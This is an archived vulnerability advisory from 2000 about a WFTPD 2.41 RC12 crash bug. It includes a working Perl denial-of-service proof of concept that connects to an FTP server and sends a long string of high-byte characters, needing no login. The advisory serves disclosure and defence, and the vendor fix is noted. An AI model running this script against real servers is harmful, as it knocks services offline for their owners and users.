Lucene search
K

wftpd241-12.txt

🗓️ 06 Sep 2000 00:00:00Reported by Blue PandaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

WFTPD version 2.41 RC12 crashes from large string input; no user login needed. Update available.

Code
`=================================================================  
Blue Panda Vulnerability Announcement: WFTPD/WFTPD Pro 2.41 RC12  
05/09/2000 (dd/mm/yyyy)  
  
[email protected]  
http://bluepanda.box.sk/  
=================================================================  
  
Problem: WFTPD will crash if a large string consisting of characters 128-255  
is received. A valid user/pass combination is not required to take advantage  
of this flaw.  
  
Vulnerable: WFTPD/WFTPD Pro 2.41 RC12 and prior.  
Immune: WFTPD/WFTPD Pro 2.41 RC13.  
  
Vendor status: Notified. A fix has been released.  
  
===================  
Proof of concept:  
===================  
  
#!/usr/bin/perl  
#  
# WFTPD/WFTPD Pro 2.41 RC12 denial-of-service  
# Blue Panda - [email protected]  
# http://bluepanda.box.sk/  
#  
# ----------------------------------------------------------  
# Disclaimer: this file is intended as proof of concept, and  
# is not intended to be used for illegal purposes. I accept  
# no responsibility for damage incurred by the use of it.  
# ----------------------------------------------------------  
#  
# Sends WFTPD string consisting of characters > 127, causing it to crash.  
#  
  
use IO::Socket;  
  
$host = "ftp.host.com" ;  
$port = "21";  
$sleepfor = 4;  
  
print "Connecting to $host:$port...";  
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "failed.\n";  
print "done.\n";  
  
$buffer = "\x80" x 2000;  
  
print $socket "$buffer\n";  
$counter = 0;  
print "Sleeping for $sleepfor seconds.";  
while($counter < $sleepfor) {  
sleep(1);  
print ".";  
$counter += 1;  
}  
print "\n";  
  
close($socket);  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation